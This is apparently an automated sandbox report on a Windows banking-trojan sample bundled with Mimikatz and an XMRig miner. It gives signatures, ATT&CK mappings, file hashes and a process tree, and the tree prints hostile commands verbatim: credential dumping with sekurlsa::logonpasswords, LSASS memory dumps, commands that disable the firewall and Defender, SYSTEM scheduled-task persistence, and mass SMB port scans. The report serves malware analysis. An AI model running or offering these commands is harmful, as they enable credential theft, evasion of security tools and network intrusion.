Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
-
submitted
14-10-2024 02:53
General
-
Target
b8918b191357d54e487d9958af1551548907c646f4521d21224534835ba13b06.exe
-
Size
7.8MB
-
MD5
9be55470b49b87893ae2007c63716397
-
SHA1
93a24588c39a6c181485a7823dfa7829d4121d5e
-
SHA256
b8918b191357d54e487d9958af1551548907c646f4521d21224534835ba13b06
-
SHA512
87f1056c895f12da14a8d98fdda978d71d23a5396ad38eaef2d4ce2a762bbf399d4d917cbdd127debb23ab97d11494b67f048ce446b37776cb6451361bb7464a
-
SSDEEP
98304:T/WXTBJYaVmknGzZr+H3O5SEPFtmOb9G1u5v/nZVnivsAl0kroSCa:KXTYimknGzwH3OgEPH39JX/nivPli
Malware Config
Signatures
-
Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
-
Detect Blackmoon payload 4 IoCs
-
Disables service(s) 3 TTPs
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (19776) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 10 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
-
Drops file in Drivers directory 2 IoCs
-
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 44 IoCs
-
ACProtect 1.3x - 1.4x DLL software 15 IoCs
Detects file using ACProtect software.
-
Executes dropped EXE 28 IoCs
-
Loads dropped DLL 33 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 59 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 42 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
-
NSIS installer 3 IoCs
-
Modifies data under HKEY_USERS 41 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 22 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\ihkfindzy\ejknts.exe"C:\Windows\TEMP\ihkfindzy\ejknts.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\b8918b191357d54e487d9958af1551548907c646f4521d21224534835ba13b06.exe"C:\Users\Admin\AppData\Local\Temp\b8918b191357d54e487d9958af1551548907c646f4521d21224534835ba13b06.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\etekeszy\ycuebzz.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\etekeszy\ycuebzz.exeC:\Windows\etekeszy\ycuebzz.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\etekeszy\ycuebzz.exeC:\Windows\etekeszy\ycuebzz.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iqzsieeth\rspsnnqef\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\iqzsieeth\rspsnnqef\wpcap.exeC:\Windows\iqzsieeth\rspsnnqef\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iqzsieeth\rspsnnqef\lkeadpuzu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iqzsieeth\rspsnnqef\Scant.txt2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\iqzsieeth\rspsnnqef\lkeadpuzu.exeC:\Windows\iqzsieeth\rspsnnqef\lkeadpuzu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iqzsieeth\rspsnnqef\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iqzsieeth\UnattendGC\specials\svschost.exe --NetworkTimeout 60 --TargetIp 1.1.1.1 --TargetPort 445 --OutputFile C:\Windows\iqzsieeth\UnattendGC\Shellcode.ini --Protocol SMB --Architecture x64 --Funciton OutputInstall2⤵
- System Location Discovery: System Language Discovery
- System Time Discovery
-
C:\Windows\iqzsieeth\UnattendGC\specials\svschost.exeC:\Windows\iqzsieeth\UnattendGC\specials\svschost.exe --NetworkTimeout 60 --TargetIp 1.1.1.1 --TargetPort 445 --OutputFile C:\Windows\iqzsieeth\UnattendGC\Shellcode.ini --Protocol SMB --Architecture x64 --Funciton OutputInstall3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Time Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iqzsieeth\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iqzsieeth\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\iqzsieeth\Corporate\vfshost.exeC:\Windows\iqzsieeth\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "zqqzhebcd" /ru system /tr "cmd /c C:\Windows\ime\ycuebzz.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "zqqzhebcd" /ru system /tr "cmd /c C:\Windows\ime\ycuebzz.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nsekykkqn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "nsekykkqn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\system32\svchost.exe netsh firewall set opmode mode=disable3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\system32\svchost.exe netsh Advfirewall set allprofiles state off3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 768 C:\Windows\TEMP\iqzsieeth\768.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 64 C:\Windows\TEMP\iqzsieeth\64.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2096 C:\Windows\TEMP\iqzsieeth\2096.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2564 C:\Windows\TEMP\iqzsieeth\2564.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2784 C:\Windows\TEMP\iqzsieeth\2784.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2868 C:\Windows\TEMP\iqzsieeth\2868.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2220 C:\Windows\TEMP\iqzsieeth\2220.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 3836 C:\Windows\TEMP\iqzsieeth\3836.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 3924 C:\Windows\TEMP\iqzsieeth\3924.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 3988 C:\Windows\TEMP\iqzsieeth\3988.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 4072 C:\Windows\TEMP\iqzsieeth\4072.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 2752 C:\Windows\TEMP\iqzsieeth\2752.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 4020 C:\Windows\TEMP\iqzsieeth\4020.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 1564 C:\Windows\TEMP\iqzsieeth\1564.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 4068 C:\Windows\TEMP\iqzsieeth\4068.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\iqzsieeth\upcgzzcqz.exeC:\Windows\TEMP\iqzsieeth\upcgzzcqz.exe -accepteula -mp 4512 C:\Windows\TEMP\iqzsieeth\4512.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\iqzsieeth\rspsnnqef\scan.bat2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\iqzsieeth\rspsnnqef\kqrcysiek.exekqrcysiek.exe TCP 138.199.0.1 138.199.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\xcllyg.exeC:\Windows\SysWOW64\xcllyg.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\ycuebzz.exe1⤵
-
C:\Windows\ime\ycuebzz.exeC:\Windows\ime\ycuebzz.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\ycuebzz.exe1⤵
-
C:\Windows\ime\ycuebzz.exeC:\Windows\ime\ycuebzz.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe cacls C:\Windows\TEMP\ihkfindzy\ejknts.exe /p everyone:F2⤵
-
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Discovery
Network Service Discovery
2Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
-
Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
-
Filesize
7.8MB
MD5081b04ab8ba832ccb27d6871345d5fa1
SHA188ea057be66e626b9753f595048bc6b33728c98f
SHA256234ae3c62c0c6d8a659b560e727ecb8979fbb3e3c5bf3e65136e7a292f4d7ff2
SHA51209d42953179ffe635063b45e55d8d67967cc4f8e02e68c221076dc61504b8d242dd5cd10fbf88ca7d0794e37d63f44768d1ce7c1fcebf26da33e33247e83aada
-
Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
-
Filesize
84KB
MD525371e6920e3b4c01965027270c41095
SHA16e7bda6fa21e6d4f7a2f3986a1fd5e1d9d8308c4
SHA2566abf7cd19240c2d8f811e39330d7f0a26d5e9c3ed3b835bc9818fc9589ca9062
SHA512a79feefb17c09535c721b4ab20c0619e630c8587b174ea2ff29d2264bc48f4e2ced47e9d5e06353489938eb40955923cab0cdf024ce06ed1c7c55972a639b328
-
Filesize
57KB
MD508b6c44e03bf6648a09c80dd73655e18
SHA1a6b03e009b39e4df2be3439ad8f3a20e48dcee76
SHA2560b50ef057047b4adace04a392d31b31560e3ed070a8aece2a7c245503c5d7edb
SHA51287ce90f406348f36154dc7c0513a1f5eb1cdb423b9814c0ac296eed28181488f755b1bd035304080c1e1a79b72848a54cbadf6fea4d8eba9f55b385db8b63124
-
Filesize
9KB
MD5cf2a5731ec9c93227dadcfe3d539943e
SHA1039d414d774b5f735f60a7b37f78d2ec2510f081
SHA256da5133f7322f631fceb9c77931c463a46763db51e96651598aea37b65c593cd6
SHA512fb1f0958c5e1626fd8aa490c538795b378c41f2c2dac7924ac86dd2b699d92ccbffe1fd7d5b912357fb4abbeeed028ee075ceab73d58546f2a3b154fe2b40573
-
Filesize
8KB
MD5d5abe77c071d7d0cae859e9a9247256d
SHA1af05f7878e453de43e562ca3a9cd8cb8e94cb965
SHA2568882fd91b362247ca8b94659be40fec6727b48d328fd53d4c88557426711dfd3
SHA5128651bff8ae57f65a0ba89457ba45a8c10239d016da6631ca306207204bd819e41184a17a465f8c64cf420b0467eda88cd267d4bd662dcbc6b57c10b1c9a8f1fd
-
Filesize
7KB
MD5e2bc32f7a176cf353a195e416c1505ad
SHA1c5aa65c10b9097428cc20100f19d7100c55b868a
